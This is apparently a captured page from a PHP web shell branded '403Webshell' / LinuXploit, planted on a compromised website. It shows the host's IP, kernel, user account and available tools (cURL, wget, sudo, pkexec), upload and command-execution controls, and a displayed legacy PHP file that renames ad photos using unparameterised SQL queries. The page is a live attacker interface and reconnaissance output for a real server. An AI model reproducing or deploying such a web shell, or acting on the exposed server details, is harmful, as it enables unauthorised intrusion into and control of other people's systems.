403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.148.107.92
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/staff/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/staff/BACKUP_image_rename.php
<?


include '../connect.php';


$area_sql = mysql_query("SELECT * FROM ads WHERE done='0' ORDER BY adid ASC LIMIT 1");
while($area_row = mysql_fetch_array($area_sql)){
	
	$id=$area_row['adid'];
	
	if($area_row['photo_1']=='0'){$photo_1=0;}else{$photo_1=$id.'_1.jpg';}
	if($area_row['photo_2']=='0'){$photo_2=0;}else{$photo_2=$id.'_2.jpg';}
	if($area_row['photo_3']=='0'){$photo_3=0;}else{$photo_3=$id.'_3.jpg';}
	if($area_row['photo_4']=='0'){$photo_4=0;}else{$photo_4=$id.'_4.jpg';}
	echo $photo_1.'<br>';
	echo $photo_2.'<br>';
	echo $photo_3.'<br>';
	echo $photo_4.'<br>';
	$r4 = mysql_query("UPDATE ads SET 
						photo_1='{$photo_1}',
						photo_2='{$photo_2}',
						photo_3='{$photo_3}',
						photo_4='{$photo_4}',
						done='1' WHERE adid='{$id}'") or die(mysql_error());
	echo 'done'.$id.'<br>';
}

header("Refresh: 0;url=http://www.yellowleaf.co.uk/staff/image_rename.php");

?>


Youez - 2016 - github.com/yon3zu
LinuXploit